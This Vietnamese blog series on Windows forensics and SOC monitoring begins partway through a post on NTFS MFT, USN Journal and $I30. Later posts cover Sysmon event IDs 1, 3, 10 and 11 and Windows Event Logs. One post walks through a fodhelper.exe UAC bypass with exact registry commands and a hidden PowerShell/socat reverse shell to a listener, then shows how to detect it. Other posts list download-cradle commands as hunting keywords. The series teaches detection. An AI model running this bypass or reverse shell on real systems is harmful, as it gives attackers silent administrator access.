Data Attribute (Thuộc tính dữ liệu): Đây là phần thú vị nhất. Nếu file của bạn cực nhỏ (dưới vài trăm byte), NTFS sẽ nhét thẳng nội dung của file đó vào bên trong MFT Record (gọi là Resident Data). Nếu file lớn, phần này sẽ chứa danh sách các con trỏ (Data Runs) trỏ ra các Cluster ngoài Data Area (gọi là Non-Resident Data).
Security Descriptor: Chứa danh sách kiểm soát truy cập (ACL) quy định ai được phép đọc/ghi file.

2.2 Góc nhìn Điều tra số

MFT là “mỏ vàng” vì những lý do sau:

Cờ In Use: Xác định xem bản ghi này đang chứa một file hoạt động hay file đã bị xóa. Khi bạn xóa một file, dữ liệu trên đĩa chưa mất đi, NTFS chỉ đổi cờ In Use thành “chưa sử dụng”. Do đó, các tệp bị xóa vẫn tồn tại bản ghi trong MFT, hỗ trợ việc khôi phục dữ liệu (Carving).
Số thứ tự (Sequence Number): Bộ đếm tăng lên khi một bản ghi MFT được sử dụng lại cho file khác, giúp phân biệt file cũ và mới trên cùng một mục nhập.
Phân tích Dòng thời gian (Timeline): MFT lưu trọn bộ 4 mốc thời gian MACB: Modified (Sửa đổi nội dung), Accessed (Truy cập cuối), Created (Tạo lập), và MFT Record Modified (Sửa đổi siêu dữ liệu). Đây là bằng chứng thép để tái tạo trình tự sự kiện của mã độc.

Bạn có thể dùng công cụ MFTECmd.exe của Eric Zimmerman để trích xuất $MFT ra file CSV và đọc bằng Timeline Explorer:

:: Lệnh trích xuất và phân tích file $MFT
MFTECmd.exe -f C:\Evidence\$MFT --csv C:\Evidence --csvf MFT_record.csv

3. “Camera an ninh” của NTFS: $LogFile và USN Journal

Khi mã độc hoạt động, nó thường tạo file, ghi dữ liệu, rồi xóa ngay lập tức để phi tang dấu vết. Tuy nhiên, mọi hành động này đều bị hai “camera an ninh” của NTFS ghi lại trọn vẹn.

3.1 $LogFile (Nhật ký giao dịch)

$LogFile là một tệp siêu dữ liệu đặc biệt ghi lại mọi thay đổi (tạo, xóa, sửa tệp) trước khi chúng được ghi chính thức xuống đĩa. Chức năng gốc của nó là để hệ thống có thể “phát lại” (replay) các giao dịch và khôi phục tính nhất quán nếu máy tính bị sập nguồn đột ngột.

3.2 $USNJrnl (Update Sequence Number Journal)

Nếu $LogFile phục vụ cho hệ thống, thì USN Journal là bản ghi lịch sử tuyệt vời dành cho các dịch vụ theo dõi và giám sát. Nó nằm ẩn trong thư mục $Extend\$UsnJrnl ở thư mục gốc.

Đặc biệt, $USNJrnl bao gồm thành phần chính là $J, nơi lưu trữ các bản ghi thay đổi thực tế. Đáng chú ý, $J được Windows triển khai dưới dạng một luồng dữ liệu ẩn Alternate Data Stream (ADS) – chính là kỹ thuật chúng ta đã phân tích ở bài số 4!

Khi phân tích file $J (bằng MFTECmd), chúng ta sẽ thấy các mã sự kiện (Update Reasons) “tố cáo” mã độc:

USN_REASON_FILE_CREATE: Tệp mã độc mới được tạo.
USN_REASON_DATA_OVERWRITE: Dữ liệu trong tệp đã bị ghi đè.
USN_REASON_FILE_DELETE: Tệp mã độc vừa tự xóa chính nó.
USN_REASON_RENAME_OLD_NAME: Tệp tin bị đổi tên (thường thấy trong các vụ tấn công Ransomware đổi đuôi file).

4. Khám phá góc khuất $I30 (NTFS Index Allocation)

Để truy tìm dấu vết của các tệp tin đã bị xóa bốc hơi hoàn toàn khỏi MFT, các chuyên gia Forensics sẽ tìm đến một thuộc tính ẩn khác gọi là $I30.

Thuộc tính $I30 là một chỉ mục (Index) thư mục, có nhiệm vụ duy trì cấu trúc sắp xếp các tệp và thư mục con bên trong một ổ đĩa NTFS.

Góc nhìn Forensics: Khi một tệp bị xóa, đổi tên hoặc di chuyển sang thư mục khác, tên của tệp đó sẽ bị gạch bỏ khỏi chỉ mục hoạt động của $I30. Tuy nhiên, dữ liệu văn bản chứa tên tệp đó vẫn còn sót lại trong vùng không gian trống (Slack Space) của tệp $I30 cho đến khi bị ghi đè. Bằng cách quét vùng không gian Slack Space này, chúng ta có thể chứng minh được sự tồn tại trong quá khứ của một công cụ hack hoặc một tệp tin dữ liệu nhạy cảm mà kẻ tấn công tưởng chừng đã xóa sạch không tì vết.

Qua bài viết này, chúng ta đã đi sâu vào tận cùng các khối cấu trúc tĩnh của hệ thống tệp NTFS. Bằng cách kết hợp phân tích MFT, USN Journal và chỉ mục $I30, không một hành vi tạo, xóa hay sửa đổi tệp tin nào của mã độc có thể qua mắt được bạn. Ở bài viết tiếp theo, chúng sẽ chuyển sang một lĩnh vực đầy tính động và cực kỳ hấp dẫn: Giải phẫu Windows Registry và các điểm neo duy trì sự hiện diện của Malware. Đừng bỏ lỡ nhé!

Kỹ thuật UAC Bypass

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Hôm nay, chúng ta đã tìm hiểu UAC là “người gác cổng” tuyệt vời với cơ chế Secure Desktop và Integrity Levels. Tuy nhiên, không có hệ thống nào là bất khả xâm phạm. Hôm nay, chúng ta sẽ trực tiếp đóng vai Hacker, lợi dụng chính những tính năng “tiện lợi” do Microsoft thiết kế để vượt mặt UAC một cách im lặng tuyệt đối (UAC Bypass), đồng thời học cách Blue Team “bắt tại htrận” ành vi này bằng Sysmon.

1. “Gót chân Achilles” của UAC: Tính năng AutoElevation

Để tránh làm phiền người dùng với quá nhiều bảng thông báo Yes/No, Microsoft đã thiết kế một tính năng gọi là Tự động nâng quyền (AutoElevation). Một số tệp thực thi cốt lõi của Windows (như msconfig.exe hay fodhelper.exe) được khai báo cờ autoElevate bên trong tệp kê khai (manifest) của chúng. Khi những phần mềm này chạy, Windows tự động cấp cho chúng quyền Cao nhất (High Integrity) mà không thèm hiện bảng hỏi UAC.

Hacker cực kỳ thích điều này. Nếu chúng có thể “bám đuôi” hoặc lừa một tiến trình autoElevate chạy mã độc hộ mình, mã độc đó sẽ nghiễm nhiên được kế thừa quyền High Integrity.

Tại sao lại là Fodhelper.exe? Fodhelper.exe là một chương trình mặc định của Windows dùng để quản lý các tính năng tùy chọn (như thêm ngôn ngữ). Nó có cờ autoElevate. Nhưng điểm khiến fodhelper.exe trở thành “con mồi” hoàn hảo là: Không giống như msconfig cần phải mở giao diện đồ họa (GUI), fodhelper có thể bị lạm dụng thông qua một giao diện dòng lệnh (CLI) ngầm từ xa với quyền trung bình (Medium Integrity).

2. Cơ chế “Ký sinh”: Registry Hijacking

Điểm yếu chí mạng của fodhelper.exe nằm ở cách nó tìm kiếm ứng dụng để mở. Khi hoạt động, tiến trình này sẽ liên tục quét vào Registry để tìm một khóa cụ thể liên quan đến giao thức ms-settings (URL Protocol mở cửa sổ Settings của Windows).

Đường dẫn mà fodhelper tìm kiếm là: HKCU\Software\Classes\ms-settings\Shell\Open\command

Lỗ hổng nằm ở đâu? Đường dẫn này nằm trong nhánh HKEY_CURRENT_USER (HKCU). Đây là nhánh cấu hình riêng của người dùng hiện tại, do đó không cần quyền Admin vẫn có thể ghi đè vào đây. Hacker (đang ở quyền Medium) chỉ cần ghi đường dẫn mã độc của chúng vào khóa này, sau đó kích hoạt fodhelper.exe. Tiến trình này tự động được nâng lên quyền High Integrity, sau đó nó ngây thơ đọc Registry và chạy mã độc của hacker với quyền lực tối cao.

3. Thực chiến: Đóng vai Hacker lách luật UAC

Bây giờ, chúng ta sẽ thực hiện kịch bản tấn công: Tạo một Reverse Shell (kết nối ngược) về máy chủ của hacker (ví dụ: máy Kali Linux có IP 10.48.95.226) bằng công cụ socat.

Tại cửa sổ CMD quyền thấp (Medium Integrity) trên máy nạn nhân, hacker thực hiện các lệnh sau:

Bước 1: Thiết lập biến môi trường và Tải trọng (Payload)

:: Trỏ đến vị trí Registry mà Fodhelper sẽ đọc
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

:: Thiết lập mã độc: Dùng PowerShell chạy ẩn công cụ socat để mở cổng 4444 kết nối về máy Hacker
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.48.95.226:4444 EXEC:cmd.exe,pipes"

[Ghi chú: Lệnh trên thiết lập mã độc kết nối về IP của Hacker thông qua cổng 4444]

Bước 2: Chìa khóa “DelegateExecute” (Đặt bẫy)

Đây là thủ thuật qua mặt hệ thống tinh vi nhất. Hacker chạy lệnh sau:

reg add %REG_KEY% /v "DelegateExecute" /d "" /f

Lệnh này tạo một giá trị tên là DelegateExecute nhưng để trống. Việc tạo giá trị này nhằm tắt cơ chế COM object chuẩn của Windows (chỉ định mã CLSID), buộc fodhelper phải quay lại đọc giá trị “Mặc định” (Default) của khóa command. Nếu thiếu dòng này, kỹ thuật Bypass sẽ thất bại.

Bước 3: Ghi mã độc và Kích hoạt

:: Ghi đè mã độc vào giá trị mặc định của khóa Registry
reg add %REG_KEY% /d %CMD% /f

:: Khởi chạy fodhelper để nó "cắn câu"
C:\Windows\System32\fodhelper.exe

Ngay khi fodhelper.exe chạy, nó đọc Registry, thấy DelegateExecute trống, bèn gọi lệnh socat. Tại máy Kali Linux đang mở cổng lắng nghe (nc -lvp 4444), Hacker nhận được một Shell với quyền Administrator cao nhất mà màn hình nạn nhân không hề chớp nháy hay hiện bảng UAC nào!

[Ghi chú: Chèn ảnh minh họa cửa sổ Netcat bên máy Kali Linux nhận được kết nối Reverse Shell từ máy Windows vào đây]

4. Góc nhìn SOC: “Bắt tại trận” bằng Sysmon

Hacker có thể qua mặt được UAC, nhưng không thể vô hình trước “mắt thần” Sysmon. Khi kịch bản UAC Bypass via Registry Hijacking này xảy ra, hệ thống Sysmon sẽ nổ ra một chuỗi cảnh báo (Alert) liên tục:

4.1 Bắt quả tang hành vi sửa Registry (Event ID 12 & 13)

Vì hacker phải tạo khóa và ghi giá trị vào Registry, Sysmon sẽ ghi nhận:

Event ID 12 (Registry object added): Ghi nhận việc nhánh ms-settings\Shell\Open\command vừa được tạo mới.
Event ID 13 (Registry value set): Ghi nhận việc một tiến trình lạ vừa đặt giá trị DelegateExecute và chèn mã lệnh powershell... socat... vào Registry.

4.2 Bắt quả tang tiến trình con bất thường (Event ID 1)

Event ID 1 (Process Create) là chốt chặn cuối cùng. Khi xem log, SOC Analyst sẽ thấy một chuỗi logic cực kỳ đáng ngờ:

Tiến trình cha (ParentImage): Là C:\Windows\System32\fodhelper.exe (chạy với IntegrityLevel: High).
Tiến trình con (Image): Lại là powershell.exe hoặc socat.exe.

Một phần mềm quản lý cài đặt ngôn ngữ (fodhelper.exe) lại đi gọi powershell.exe chạy ẩn để gọi tiếp socat.exe kết nối ra IP bên ngoài qua cổng 4444? Đây là dấu hiệu 100% của việc lạm dụng tiến trình hệ thống để leo thang đặc quyền!

Bypass UAC thông qua Fodhelper.exe và Registry Hijacking là một kỹ thuật kinh điển nhưng vẫn vô cùng hiệu quả, minh chứng cho việc hacker biến chính “tính năng” tiện lợi của Windows thành “vũ khí”. Việc hiểu sâu cơ chế này kết hợp với khả năng phân tích Event ID của Sysmon sẽ giúp bạn viết ra những tập luật (Rule) SIEM cực kỳ sắc bén. Ở các bài viết tiếp theo, chúng ta sẽ chính thức bước vào phân tích Network Forensics và cách giải mã các gói tin độc hại. Hãy cùng chờ đón nhé!

Sysmon (Phần 1)

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Ở các bài viết trước, chúng ta đã học cách đọc nhật ký hệ thống (Event Logs) mặc định của Windows. Nhưng trong thực tế chiến đấu, các hacker ngày càng tinh vi, chúng thừa sức qua mặt những log cơ bản này. Đó là lúc các chuyên gia SOC phải viện đến “vũ khí hạng nặng”: Sysmon (System Monitor). Hôm nay, chúng ta sẽ đi sâu vào hướng dẫn cài đặt tư duy giám sát Sysmon, mở đầu bằng việc “mổ xẻ” quá trình sinh tiến trình (Process Creation) và cách dùng mã Hash để lột mặt nạ mã độc.

1. Sysmon là gì? Tại sao Windows Event Logs mặc định là chưa đủ?

Sysmon là một công cụ miễn phí cực kỳ mạnh mẽ thuộc bộ phần mềm Microsoft Sysinternals. Đối với giới bảo mật, Sysmon đã trở thành tiêu chuẩn vàng cho việc giám sát nâng cao.

Hãy làm một phép so sánh thực tế khi một phần mềm được mở lên:

Windows Event ID 4688 (Mặc định): Chỉ cho bạn biết “Ai đó vừa chạy một tiến trình mới” (ví dụ: cmd.exe vừa được chạy bởi Administrator).
Sysmon Event ID 1 (Process Creation): Không chỉ nói cho bạn biết file nào vừa chạy, mà nó còn cung cấp dấu vân tay (Mã Hash) của file đó, cho biết chính xác tiến trình nào đã gọi nó ra (Parent Image), và thậm chí là lệnh (Command Line) chi tiết đã được gõ vào.

Tóm lại: Windows EID 4688 cho biết “ai chạy”, còn Sysmon EID 1 cho biết “vân tay” của kẻ đó. Nếu không có mã Hash, bạn sẽ gần như “mù” trước các kỹ thuật đổi tên ngụy trang của Hacker.

2. Giải phẫu chi tiết Sysmon Event ID 1

Khi Sysmon Event ID 1 nổ ra, nó cung cấp cho SOC Analyst một bức tranh toàn cảnh không thể chối cãi. Hãy cùng “soi” vào các trường dữ liệu sinh tử của nó:

2.1 Thông tin định danh (Process Info)

ProcessId: Số định danh tiến trình trong hệ thống.
Image: Đường dẫn vật lý của file thực thi trên ổ cứng (VD: C:\Windows\System32\cmd.exe).
CommandLine: Ghi lại chính xác từng chữ mà kẻ tấn công đã gõ vào lệnh.

2.2 Nguồn gốc khởi tạo (Parent Info)

Mã độc hiếm khi tự nhiên sinh ra. Nó luôn được một thứ gì đó gọi ra.

ParentImage: Đây là tiến trình cha. Việc nhìn vào tiến trình cha giúp bạn biết lệnh này do người dùng click chuột mở (như từ explorer.exe) hay bị gọi ngầm bởi một đoạn mã độc.

2.3 Dấu vân tay của tệp (Binary Info)

Hashes: Sysmon sẽ tự động tính toán mã Hash (như MD5, SHA256) của file thực thi ngay khi nó chạy. Đây là tính năng “đáng tiền” nhất của Sysmon.

3. “Bắt thóp” Mã độc: Kỹ năng Threat Hunting thực chiến

Với các thông tin từ Sysmon EID 1, làm sao để phát hiện bất thường? Đừng tìm kiếm ngẫu nhiên, hãy bám vào 3 dấu hiệu (Red Flags) sau:

Kỹ thuật 1: Lột mặt nạ ngụy trang (Masquerading) bằng mã Hash

Hacker hiểu rằng nếu chạy một file có tên virus_an_cap.exe, chúng sẽ bị tóm ngay. Vì thế, chúng thường đổi tên mã độc thành các tiến trình hệ thống chuẩn như cmd.exe, svchost.exe hay lsass.exe.

Tuy nhiên, dù tên file có đổi, mã Hash thì không bao giờ thay đổi. Khi Sysmon ghi lại mã SHA256 của tiến trình cmd.exe giả mạo đó, bạn chỉ cần ném mã Hash đó lên VirusTotal. Mã Hash sẽ lập tức “tố cáo” đó là một file độc hại chứ không phải file chuẩn của Microsoft.

Kỹ thuật 2: Phân tích Phả hệ Tiến trình (Parent-Child Anomalies)

Đây là kỹ năng “nhìn thấu” logic hoạt động của hệ thống. Những tiến trình cha - con sau đây là cực kỳ phi logic và chắc chắn là mã độc:

WINWORD.EXE (Microsoft Word) sinh ra powershell.exe hoặc cmd.exe: Rất có thể một nhân viên vừa mở file Word chứa mã độc Macro, và nó đang gọi lệnh tải virus về máy.
notepad.exe sinh ra cmd.exe: Notepad chỉ là phần mềm gõ văn bản, nó tuyệt đối không có lý do gì để gọi cửa sổ dòng lệnh.

Kỹ thuật 3: Truy vết các đường dẫn và câu lệnh đáng ngờ

Bạn cần cấu hình SIEM (hoặc viết script PowerShell) báo động ngay lập tức nếu tiến trình (Image) được chạy từ các thư mục trú ẩn quen thuộc của malware như:

C:\Users\*\AppData\Local\Temp\
C:\Users\Public\

Bên cạnh đó, hãy soi kỹ trường CommandLine. Hacker thường dùng các lệnh sau để tải mã độc thẳng vào RAM hoặc giải mã script:

-EncodedCommand (Chạy mã PowerShell đã mã hóa Base64)
IEX (New-Object Net.WebClient) (Lệnh tải file từ Internet)
certutil -urlcache hoặc bitsadmin /transfer (Lợi dụng phần mềm có sẵn của Windows để tải virus)

4. Thực hành truy vấn Sysmon bằng PowerShell

Thay vì click chuột mỏi tay trong Event Viewer, các Threat Hunter thường dùng PowerShell để săn lùng (Hunting) dấu vết tiến trình độc hại. Dưới đây là đoạn code mẫu giúp bạn trích xuất tất cả các lần powershell.exe được gọi ra bởi thư mục Temp:

# Truy vấn Sysmon Event ID 1 (Process Create)
$Query = "*[System[EventID=1]]"

# Lọc các sự kiện có Image là powershell và ParentImage nằm trong thư mục Temp
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath $Query | 
 Where-Object {
 $_.Message -match "Image: .*powershell\.exe" -and 
 $_.Message -match "ParentImage: .*\\Temp\\.*"
 } | Format-List TimeCreated, Message

Bằng cách tận dụng Sysmon Event ID 1, bạn đã bịt được lỗ hổng khổng lồ của Event Viewer mặc định. Mã Hash và Cây tiến trình (Parent-Child) chính là hai thanh gươm sắc bén nhất để lột mặt nạ mọi loại mã độc ngụy trang. Trong bài viết tới (Phần 2), chúng ta sẽ tiếp tục đi sâu vào các Event ID khác của Sysmon (EID 3, 10, 11) để truy vết mã độc tàng hình (Fileless Malware) và hành vi ăn cắp mật khẩu. Hẹn gặp lại các bạn!

Sysmon (Phần 2)

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Phần 2 của loạt bài về Sysmon trong Series Giải phẫu Windows OS & SOC Analytics! Ở phần trước, chúng ta đã dùng Event ID 1 để “bắt thóp” mã độc dựa vào mã Hash. Nhưng nếu mã độc không tồn tại dưới dạng file trên ổ cứng thì sao? Nếu chúng chạy thẳng trên RAM, hoặc âm thầm chọc ngoáy vào tiến trình hệ thống để ăn cắp mật khẩu? Hôm nay, chúng ta sẽ mở khóa sức mạnh thực sự của Sysmon với bộ 3 Event ID sinh tử: 3, 10 và 11 để chống lại những kỹ thuật lẩn tránh (Evasion) tinh vi nhất.

1. Event ID 10 (Process Access): “Kính lúp” soi bộ nhớ và Fileless Malware

Trong hệ điều hành Windows, các tiến trình (Process) vốn dĩ nằm trong các không gian bộ nhớ biệt lập. Tuy nhiên, mã độc thường xuyên tìm cách “chọc” vào vùng nhớ của các tiến trình hệ thống hợp lệ để ăn cắp dữ liệu hoặc tiêm mã độc (Process Injection) nhằm che giấu hành vi.

Đây là lúc Sysmon Event ID 10 (Process Access) tỏa sáng. Trong khi Windows mặc định dùng Event ID 4656 nhưng rất khó cấu hình, Sysmon EID 10 cung cấp bức tranh rõ nét về việc tiến trình nào đang đòi quyền truy cập vào tiến trình nào.

Đặc biệt, EID 10 là “khắc tinh” của hai hành vi sau:

Dump mật khẩu LSASS: Hacker thường nhắm vào tiến trình lsass.exe để trích xuất mật khẩu. EID 10 sẽ cảnh báo ngay nếu một file lạ xin quyền truy cập vào lsass.exe.
Tiêm mã độc vào RAM (Kỹ thuật tàng hình/Fileless): Dưới đây là một ví dụ thực chiến từ log Sysmon:

Source Image: C:\Users\sarah.miller\Downloads\ckjg.exe
Target Image: C:\Windows\System32\Wbem\wmic.exe
Granted Access: 0x1FFFFF
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+...|UNKNOWN(00007FF7CE73CB77)

Phân tích góc nhìn SOC:

Một file có tên ngẫu nhiên ckjg.exe tải về từ thư mục Downloads lại đi chọc vào công cụ quản lý hệ thống wmic.exe của Windows.
Quyền truy cập là 0x1FFFFF (Full Access) – một quyền tối thượng cực kỳ đáng ngờ.
Đáng chú ý nhất là trường CallTrace. Nó hiển thị chuỗi thư viện được gọi, nhưng ở đoạn cuối lại xuất hiện vùng nhớ UNKNOWN(00007FF7CE73CB77). Điều này cho thấy mã thực thi đang chạy ở một vùng nhớ không xác định, một dấu hiệu kinh điển của việc mã độc giải nén (unpack) shellcode trực tiếp vào RAM để né phần mềm diệt virus quét file vật lý.

2. Event ID 11 (File Creation): Theo dấu các điểm neo Persistence

Hacker có thể chạy mã độc trên RAM, nhưng để duy trì sự hiện diện (Persistence) qua những lần khởi động lại máy, chúng buộc phải để lại một thứ gì đó trên ổ đĩa. Thay vì cấu hình Audit Object Access phức tạp để lấy Event ID 4663 của Windows, Sysmon Event ID 11 mặc định ghi lại toàn bộ các file thực thi được tạo ra.

Dựa vào tiến trình đáng ngờ ckjg.exe ở trên, nếu ta tra cứu tiếp Event ID 11, ta sẽ bắt được ngay hành động giấu file của nó:

ProcessId: 1460
Image: C:\Users\sarah.miller\Downloads\ckjg.exe
TargetFilename: C:\Users\sarah.miller\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Chỉ với một log duy nhất, Sysmon EID 11 đã vạch trần việc mã độc vừa âm thầm tạo một file khởi động tên là DeleteApp.url nhét thẳng vào thư mục Startup của người dùng để kích hoạt cùng hệ thống.

3. Event ID 3 (Network Connection): Bắt tại trận Reverse Shell

Mã độc lấy cắp dữ liệu xong thì phải gửi ra ngoài, hoặc nó cần kết nối về máy chủ C2 (Command & Control) để nhận lệnh.

Nhật ký tường lửa mặc định của Windows (EID 5156) thường sinh ra quá nhiều “rác” (noise), nhưng Sysmon Event ID 3 lại là một tuyệt tác vì nó gắn trực tiếp kết nối mạng đó với một tiến trình cụ thể.

Khi soi tiếp tiến trình ckjg.exe bằng EID 3, ta thu được:

Protocol: tcp
Source IP: 10.10.57.125 (Máy nạn nhân)
Destination IP: 193.46.217.4
Destination Port: 7777

[Mẹo SOC]: Cổng 7777 thường không phải là cổng dịch vụ chuẩn. Sự kết hợp giữa một tiến trình rác trong thư mục Downloads, thực hiện Process Injection (EID 10), thả file vào Startup (EID 11) và mở cổng TCP ra IP bên ngoài (EID 3) là một bằng chứng 100% về một cuộc tấn công Reverse Shell đang diễn ra.

4. Đối đối phó với Timestomping và Fileless nâng cao

4.1 Timestomping (Giả mạo thời gian)

Trong quá trình điều tra Forensics, timeline là yếu tố sống còn. Để đánh lừa các nhà phân tích, hacker sử dụng kỹ thuật Timestomping – dùng công cụ sửa đổi ngày tạo (Creation Time) của mã độc lùi về quá khứ để trông giống như một tệp hệ thống đã tồn tại từ lâu.

Ví dụ, trong một ổ đĩa FAT32 bị điều tra, ta có thể thấy một file install.txt có thời gian truy cập cuối (Accessed Time) là năm 2018, nhưng thời gian tạo (Created Time) lại là năm 2025. Đây là dấu vết thao túng thời gian rõ rệt.

Để bắt được hành vi này ngay lập tức, ta sử dụng Sysmon Event ID 2. Nếu Windows Event ID 4670 chỉ đơn thuần ghi nhận thay đổi quyền/thuộc tính, thì Sysmon EID 2 được thiết kế đặc biệt để phát hiện và cảnh báo ngay khi có kẻ cố tình sửa đổi thời gian tạo của tệp tin.

4.2 Giám sát Fileless qua PowerShell (Event ID 4104)

Khi nói đến mã độc không để lại file, PowerShell là công cụ bị lạm dụng nhiều nhất. Hacker sẽ truyền các chuỗi lệnh đã mã hóa Base64 thẳng vào RAM. Nếu chỉ nhìn Sysmon EID 1, bạn sẽ chỉ thấy câu lệnh powershell -encodedCommand ... vô nghĩa.

Để đối phó, SOC Analyst phải bật tính năng Script Block Logging (Event ID 4104) trong nhánh Microsoft-Windows-PowerShell/Operational. Ngay cả khi hacker mã hóa code, PowerShell bắt buộc phải tự giải mã nó trên RAM để thực thi. Lúc này, EID 4104 sẽ chộp lại và lưu trữ toàn bộ nội dung code dạng nguyên bản (clear-text).

Bạn cũng có thể theo dõi Event ID 4103 (Module Logging) để xem chính xác các tham số và biến số (Parameter Binding) nào đã được nạp vào, giúp truy vết tận gốc nguồn tài nguyên độc hại.

Bằng cách kết hợp Sysmon (EID 3, 10, 11) cùng các nhật ký giám sát PowerShell, bạn đã dựng lên một lưới điện an ninh dày đặc. Mã độc có thể đổi tên, giấu file, giả mạo thời gian hay chạy trên RAM, nhưng chúng không bao giờ có thể xóa bỏ hoàn toàn những chuỗi hành vi logic mà chúng tạo ra trên hệ điều hành. Chúc các bạn áp dụng hiệu quả vào hệ thống SIEM của mình để trở thành một Threat Hunter xuất sắc!

Tổng quan Windows Event Logs và kỹ năng lọc log bằng PowerShell XML

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Bất kỳ một tên trộm nào khi đột nhập cũng sẽ cố gắng xóa dấu vết, trốn tránh camera. Trong hệ điều hành Windows, “camera an ninh” đó chính là Event Logs (Nhật ký sự kiện). Mã độc có thể ẩn mình dưới lớp vỏ bọc svchost.exe hay lách qua UAC, nhưng mọi hành động của chúng đều để lại những “gợn sóng” trong nhật ký hệ thống. Hôm nay, chúng ta sẽ học cách đọc hiểu các Event ID sinh tử và sử dụng PowerShell kết hợp XML để truy vết hacker với tốc độ ánh sáng!

1. Tổng quan về Windows Event Logs

Event Logs là nơi lưu trữ mọi “nhịp đập” của máy tính. Bất kể là bạn cắm một chiếc USB, cài một phần mềm, khởi động dịch vụ hay gõ sai mật khẩu, Windows đều ghi chép lại một cách tỉ mỉ.

1.1 Phân loại Nhật ký (Log Types)

Hệ thống phân chia nhật ký thành nhiều nhánh để dễ quản lý:

System (Hệ thống): Ghi lại các sự kiện liên quan đến hệ điều hành, thay đổi phần cứng, khởi động/tắt máy và hoạt động của trình điều khiển (Driver).
Security (Bảo mật): Đây là mỏ vàng của SOC. Ghi lại các sự kiện Đăng nhập/Đăng xuất (Logon/Logoff), thay đổi quyền hạn và quản lý người dùng.
Application (Ứng dụng): Ghi lại lỗi phần mềm (crash), cảnh báo từ các ứng dụng cài đặt trên máy.

1.2 Mức độ Sự kiện (Event Levels)

Mỗi sự kiện được gắn một mức độ nghiêm trọng:

Information: Hoạt động bình thường, thành công.
Warning: Có vấn đề tiềm tàng nhưng chưa làm sập chức năng (ví dụ: ổ đĩa sắp đầy).
Error: Vấn đề nghiêm trọng (mất dữ liệu, phần mềm bị crash).
Success/Failure Audit: Cực kỳ quan trọng trong nhánh Security, ghi nhận các nỗ lực truy cập tài nguyên (đăng nhập đúng hoặc sai pass).

Góc nhìn SOC - Cấu hình dung lượng Log: Mặc định, file log (như Security.evtx) bị giới hạn dung lượng (thường là 20MB) và được cấu hình ghi đè sự kiện cũ nhất (Overwrite events as needed). Hacker hiểu điều này, chúng có thể “xả rác” (Spam logs) để đẩy các log độc hại trôi đi mất. Do đó, trên các máy chủ quan trọng, quản trị viên thường phải chỉnh thành cấu hình Archive the log when full (Nén lại khi đầy) để không mất dấu vết lịch sử.

2. Từ điển Event ID “Gối đầu giường” của SOC

Để săn tìm mã độc, bạn không thể đọc từng dòng log một. Bạn phải thuộc lòng những Event ID (EID) mang tính “chỉ điểm” sau đây:

2.1 Nhóm Application (Ứng dụng)

EID 1000 (Application Error): Phần mềm bị treo cứng và tự đóng. Nếu một dịch vụ quan trọng (như lsass.exe) liên tục báo lỗi 1000, có thể hacker đang dùng tool dump bộ nhớ bị lỗi.
EID 11724 (MsiInstaller): Thông báo một phần mềm vừa bị gỡ bỏ. Nếu phần mềm bị gỡ là Antivirus, đây là báo động đỏ cực độ (Red Flag)!

2.2 Nhóm System (Hệ thống)

EID 12 / 13: Máy tính bắt đầu Boot (12) và Tắt máy bình thường (13).
EID 7040: Thay đổi loại khởi động của một dịch vụ (ví dụ: bật lại một dịch vụ từ Disable sang Auto).
EID 7045: Một dịch vụ (Service) mới vừa được cài đặt. Hacker cực kỳ thích cài “Backdoor” dưới dạng một Service để tự chạy ngầm cùng quyền LocalSystem.

2.3 Nhóm Security (Bảo mật) - Trái tim của SOC

EID 4624 (Logon Success): Đăng nhập thành công. Cần soi kỹ Logon Type (Type 2 là ngồi gõ trực tiếp, Type 3 là qua mạng/Share, Type 10 là Remote Desktop).
EID 4625 (Logon Failure): Gõ sai pass. Nếu EID này xuất hiện dồn dập hàng loạt với nhiều user khác nhau, bạn đang đối mặt với tấn công Password Spraying hoặc Brute Force.
EID 4672 (Special Logon): Phiên đăng nhập được gán đặc quyền Admin (SYSTEM). Nếu một tài khoản người dùng thường (như nhân viên lễ tân) có log này, họ đã leo quyền (Privilege Escalation) thành công.
EID 4720 (User Created) & 4732 (Added to Group): Hacker tạo tài khoản Backdoor mới và nhét nó vào nhóm Administrators. Mọi sự kiện 4732 tác động vào nhóm Admin đều phải được điều tra lập tức.
EID 4688 (Process Creation): Ghi nhận một tiến trình/câu lệnh mới vừa chạy. Kết hợp dòng log này, ta biết chính xác mã độc đã gõ lệnh gì trên CMD/PowerShell.
EID 1102 (Log Cleared): Nhật ký an ninh đã bị xóa trắng. Dấu vết lẩn trốn rõ ràng nhất.

3. Giải phẫu cấu trúc XML của một Sự kiện

Mở giao diện Event Viewer (Friendly View) và bấm xem bằng mắt thường rất dễ hiểu, nhưng lại quá chậm để tự động hóa. Thực chất, giao diện này chỉ là bản “dịch” lại từ ngôn ngữ lưu trữ gốc của Windows: XML.

Chuyển sang tab XML View, bạn sẽ thấy một sự kiện luôn chia làm 2 khối chính:

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
 <!-- KHỐI SYSTEM: Chứa siêu dữ liệu chung -->
 <System>
 <Provider Name="Microsoft-Windows-Security-Auditing" ... />
 <EventID>4672</EventID>
 <Level>0</Level>
 <TimeCreated SystemTime="2026-02-02T17:22:57.0339579Z" />
 <Execution ProcessID="1504" ThreadID="1600" />
 <Computer>NguyenDuy</Computer>
 </System>
 
 <!-- KHỐI EVENT DATA: Phần "thịt" chứa thông tin điều tra -->
 <EventData>
 <Data Name="SubjectUserSid">S-1-5-18</Data>
 <Data Name="SubjectUserName">SYSTEM</Data>
 <Data Name="PrivilegeList">SeAssignPrimaryTokenPrivilege
 SeSecurityPrivilege
 SeTakeOwnershipPrivilege
 SeDebugPrivilege
 SeImpersonatePrivilege</Data>
 </EventData>
</Event>

